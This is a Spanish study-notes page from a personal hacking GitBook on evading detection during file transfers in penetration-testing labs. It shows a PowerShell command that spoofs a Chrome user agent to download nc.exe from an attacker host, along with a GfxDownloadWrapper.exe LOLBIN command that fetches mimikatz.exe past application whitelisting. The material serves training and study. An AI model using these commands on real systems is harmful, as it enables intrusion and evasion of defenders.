beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • Cambio de Agente de Usuario
  • Listado de Agentes de Usuario
  • Invocar Invoke-WebRequest para descargar nc.exe usando un Agente de Usuario de Chrome
  • LOLBAS / GTFOBins
  • Transferencia de archivo con GfxDownloadWrapper.exe
  • Reflexiones Finales

Was this helpful?

  1. APUNTES HACKING
  2. File Transfers

Evading Detection

Cambio de Agente de Usuario

Si los administradores o defensores diligentes han incluido en la lista negra alguno de estos agentes de usuario, Invoke-WebRequest contiene un parámetro UserAgent, que permite cambiar el agente de usuario predeterminado para emular navegadores como Internet Explorer, Firefox, Chrome, Opera o Safari. Por ejemplo, si internamente se utiliza Chrome, establecer este agente de usuario puede hacer que la solicitud parezca legítima.

Listado de Agentes de Usuario

PS C:\htb> [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

InternetExplorer User Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; en-US)

FireFox User Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) Gecko/20100401 Firefox/4.0

Chrome User Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6

Opera User Agent: Opera/9.70 (Windows NT; Windows NT 10.0; en-US) Presto/2.2.1

Safari User Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16

Invocar Invoke-WebRequest para descargar nc.exe usando un Agente de Usuario de Chrome

PS C:\htb> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

Resultado del servidor:

sherlock28@htb[/htb]$ nc -lvnp 80

listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive

LOLBAS / GTFOBins

El whitelisting de aplicaciones puede impedirte usar PowerShell o Netcat, y el registro de la línea de comandos puede alertar a los defensores sobre tu presencia. En este caso, una opción puede ser utilizar un LOLBIN (Living Off The Land Binary), también conocido como "binarios de confianza mal ubicada". Un ejemplo de LOLBIN es el Intel Graphics Driver for Windows 10 (GfxDownloadWrapper.exe), instalado en algunos sistemas y que contiene una funcionalidad para descargar archivos de configuración periódicamente. Esta funcionalidad de descarga puede invocarse de la siguiente manera:

Transferencia de archivo con GfxDownloadWrapper.exe

PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

Este binario puede estar permitido para ejecutarse por el whitelisting de aplicaciones y excluirse de las alertas. Otros binarios más comunes también están disponibles, y vale la pena revisar el proyecto LOLBAS para encontrar un binario adecuado de "descarga de archivos" que exista en tu entorno. El equivalente en Linux es el proyecto GTFOBins, que también vale la pena revisar. Al momento de escribir esto, el proyecto GTFOBins proporciona información útil sobre casi 40 binarios comúnmente instalados que pueden utilizarse para realizar transferencias de archivos.

Reflexiones Finales

Como hemos visto en este módulo, existen muchas formas de transferir archivos hacia y desde nuestro host de ataque entre sistemas Windows y Linux. Vale la pena practicar tantas de estas técnicas como sea posible a lo largo de los módulos del camino de Penetration Tester.

¿Tienes una web shell en un objetivo? Prueba descargando un archivo al objetivo para realizar una enumeración adicional usando Certutil. ¿Necesitas descargar un archivo del objetivo? Prueba un servidor SMB de Impacket o un servidor web de Python con capacidades de carga. Refiérete a este módulo periódicamente y esfuérzate en usar todos los métodos enseñados de alguna manera. Además, tómate un tiempo cuando estés trabajando en un objetivo o laboratorio para buscar un LOLBin o GTFOBin que nunca hayas utilizado para lograr tus objetivos de transferencia de archivos.

PreviousDetectionNextShells & Payloads

Last updated 7 months ago

Was this helpful?